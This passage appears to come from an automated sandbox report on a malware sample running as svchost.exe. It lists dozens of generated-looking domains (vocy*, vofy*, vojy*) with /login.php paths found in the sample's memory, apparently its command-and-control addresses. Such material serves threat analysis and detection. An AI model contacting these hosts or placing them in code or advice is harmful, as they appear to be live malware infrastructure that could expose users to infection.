00000001.00000003.1898443082.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qexyxuv.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875189147.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905496226.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111044292.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905754051.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870487910.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901802901.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905235360.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106415870.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2109717439.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901545057.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901290927.0000000000899000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocybam.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1936324582.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocybuf.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2118930556.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2115683579.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocydof.com/
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocydof.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocydof.com/login.phpcom/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2181582195.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2176325655.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1933613581.0000000000899000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocygim.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1873975330.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870726684.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872932783.0000000002F99000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocygyk.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2090626154.0000000008A15000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2099585241.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2094203592.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091999156.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092789966.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847917919.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocyjic.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2813812181.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2027010088.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023459644.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocykem.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocypyt.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906894619.000000000089B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1910077004.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2158637089.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocyquc.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264012098.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1957816081.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261290738.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocyryf.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258284449.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261481994.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264012098.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2259557028.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261290738.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vocyzum.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092208092.0000000002F95000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019446888.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111161379.0000000002F8F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2020096225.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2026975926.0000000002F9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085422665.0000000002F8F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017443520.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017702867.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofybyf.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2275129713.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2280547985.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofydak.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyguc.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyjuk.com/login.php
    Source: svchost.exe, 00000001.00000003.1880431309.0000000008ABC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902019877.0000000002F95000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878115025.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901978788.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898504335.0000000002F83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901601922.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895964396.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901301890.0000000002F87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901694088.0000000002F93000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofykoc.com/login.php
    Source: svchost.exe, 00000001.00000003.2154551112.0000000004DFB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2155082347.0000000004DFF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofymem.com/
    Source: svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofypam.com/
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofypuk.com/H
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyqit.com/http://qexyxuv.com/8(
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1910374402.0000000008A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyqit.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyref.com/
    Source: svchost.exe, 00000001.00000003.1880431309.0000000008ABC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyref.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2181582195.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2176325655.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyzof.com/login.php
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyzym.com/H
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880310454.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875546987.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870726684.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882380826.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyzym.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2176325655.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1933613581.0000000000899000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojycec.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2169748683.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyduf.com/
